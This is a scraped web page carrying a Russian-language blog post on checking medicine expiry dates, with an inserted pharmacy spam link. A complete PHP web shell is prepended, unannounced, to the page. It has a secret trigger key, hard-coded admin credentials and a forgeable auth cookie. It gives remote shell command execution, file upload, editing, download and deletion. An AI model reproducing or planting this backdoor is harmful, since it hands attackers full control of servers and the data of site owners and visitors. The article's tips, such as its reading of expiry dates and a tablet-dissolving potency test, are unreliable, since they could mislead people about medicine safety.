if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Как правильно проверять срок годности лекарств и медицинских средств – collectives.berlin

Your digital paradise.

Как правильно проверять срок годности лекарств и медицинских средств

Находите на упаковке отметку с датой, https://eu-apteka.com.ua/ обозначающей последнюю дату безопасного применения. Обычно она указана на обратной стороне или на дне упаковки. Если число или месяц стерлись, следует утилизировать препарат.

Обращайте внимание на внешний вид и запах: любое изменение цвета, текстуры или аромат может сигнализировать о том, что использование такого продукта небезопасно. Если остаются сомнения, лучше воздержаться от применения.

Хранение также играет ключевую роль: держите препараты вдали от прямых солнечных лучей и в оригинальной упаковке. Влажные или слишком теплые места могут сократить срок их применения.

Регулярно проверяйте аптечку на наличие просроченных изделий, особенно перед поездками или сезонными заболеваниями. Не забывайте утилизировать лекарства правильно; многие аптеки предлагают услуги по безопасному выкидыванию.

Определение срока годности: где искать информацию на упаковке

На упаковке лекарственного средства следует искать обозначение, указывающее на срок его использования. Обычно это дата представляется в формате «дд.мм.гггг» или «месяц год». Например, если указано «01.12.2025», то применять препарат можно до конца ноября 2025 года.

Какие обозначения могут встречаться?

Наряду с основной датой, можно заметить обозначение «После открытия использовать в течение…». Это важно, так как некоторые вещества теряют свои свойства после вскрытия. Следует обратить внимание на это при открытии флакона или упаковки.

Иногда на упаковке может быть символ с изображением песочных часов, который обозначает, что средство может храниться определённое количество месяцев после открытия. Также есть маркировка с буквами «Годен до» или «Лучше использовать до», что также уточняет подходящие временные рамки.

Где и как проверять дополнительные данные?

Помимо основного обозначения, стоит ознакомиться с инструкцией, прилагаемой к препарату. В ней часто содержится информация о правильных условиях хранения и возможностях продления срока применения. Условия хранения могут существенно влиять на эффективность препарата, поэтому важно следовать указанным рекомендациям.

Методы проверки состояния медикаментов перед использованием

Обратите внимание на упаковку препарата. Убедитесь, что она не повреждена. Течи, разрывы или коррозия могут указывать на плохое хранение и, как следствие, ухудшение состояния содержимого.

Проверьте срок, указанный на упаковке. Базируйтесь на дате, размещенной на коробке или флаконе, отметьте незамедлительно, если срок почти истек или уже прошел.

Изучите внешний вид препарата. Таблетки и капсулы не должны иметь трещин, деформаций или изменения цвета. Такие признаки могут указывать на потерю свойств.

Обратите внимание на консистенцию растворов. Если наблюдаются осадок, помутнение или изменение цвета, то использовать такой продукт не рекомендуется.

Понюхайте медикамент. Необычный запах, особенно химический или гнилостный, может сигнализировать о его деградации.

Проверьте инструкцию по применению. Там могут быть указания относительно хранения, что поможет оценить, не подвергался ли препарат нежелательным условиям.

Убедитесь, что препараты хранились в рекомендованных температурных условиях. Температура может влиять на стабильность многих веществ.

Для некоторых препаратов можно выполнить простую тестовую процедуру, например, растворить частицу таблетки в воде. Если раствор происходит правильно, это может свидетельствовать о сохранности активных компонентов.

Leave a Reply

Your email address will not be published. Required fields are marked *